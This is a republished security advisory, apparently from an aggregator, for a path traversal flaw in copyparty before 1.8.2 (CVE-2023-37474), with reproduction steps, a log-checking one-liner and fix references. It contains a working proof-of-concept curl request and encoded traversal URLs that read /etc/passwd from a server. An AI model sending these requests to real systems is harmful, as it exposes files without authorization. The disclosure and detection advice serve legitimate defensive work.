Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-pxfv-7rr3-2qjg: copyparty vulnerable to path traversal attack affecting all subfolders in http://localhost:3923/.cpr/ subfolder

Summary

Path traversal vulnerability detected in .cpr subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory.

Tested in Debian Linux.

Details

Steps to reproduce:

1)Install the software python3 -m pip install --user -U copyparty 2)Execute using the default config : copyparty

  1. Execute the POC curl command
  2. /etc/passwd file of the remote server is accessible.

PoC

curl -i -s -k -X  GET 'http://172.19.1.2:3923/.cpr/%2Fetc%2Fpasswd'

Additional examples:

http://172.19.4.2:3923/.cpr/a/…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2Fetc%2Fpasswd

http://172.19.4.2:3923/.cpr/deps/…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2Fetc%2Fpasswd

Checking for exposure

if copyparty is running behind a reverse proxy, you can check the access-logs for traces of attacks, by grepping your access-logs for URLs containing both .cpr/ and %

  • nginx:
    sed -r 's/" [0-9]+ .*//' nginx.access.log | grep -E 'cpr/.*%2F' | grep -vF data:image/svg
    
ghsa
#vulnerability#web#linux#debian#git#nginx

Summary

Path traversal vulnerability detected in .cpr subfolder.
The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory.

Tested in Debian Linux.

Details

Steps to reproduce:

1)Install the software python3 -m pip install --user -U copyparty
2)Execute using the default config : copyparty

  1. Execute the POC curl command
  2. /etc/passwd file of the remote server is accessible.

PoC

curl -i -s -k -X GET ‘http://172.19.1.2:3923/.cpr/%2Fetc%2Fpasswd’

Additional examples:

http://172.19.4.2:3923/.cpr/a/…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2Fetc%2Fpasswd

http://172.19.4.2:3923/.cpr/deps/…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2Fetc%2Fpasswd

Checking for exposure

if copyparty is running behind a reverse proxy, you can check the access-logs for traces of attacks, by grepping your access-logs for URLs containing both .cpr/ and %

  • nginx:

    sed -r ‘s/" [0-9]+ .*//’ nginx.access.log | grep -E ‘cpr/.*%2F’ | grep -vF data:image/svg

References

  • GHSA-pxfv-7rr3-2qjg
  • https://nvd.nist.gov/vuln/detail/CVE-2023-37474
  • 9001/copyparty@043e3c7
  • https://github.com/9001/copyparty/releases/tag/v1.8.2

Related news

Copyparty 1.8.2 Directory Traversal

Copyparty version 1.8.2 suffers from a directory traversal vulnerability.

CVE-2023-37474: Path traversal attack affecting all subfolders in http://localhost:3923/.cpr/ subfolder

Copyparty is a portable file server. Versions prior to 1.8.2 are subject to a path traversal vulnerability detected in the `.cpr` subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory. This issue has been addressed in commit `043e3c7d` which has been included in release 1.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

ghsa: Latest News

GHSA-8gc2-vq6m-rwjw: Amazon Redshift Python Connector vulnerable to SQL Injection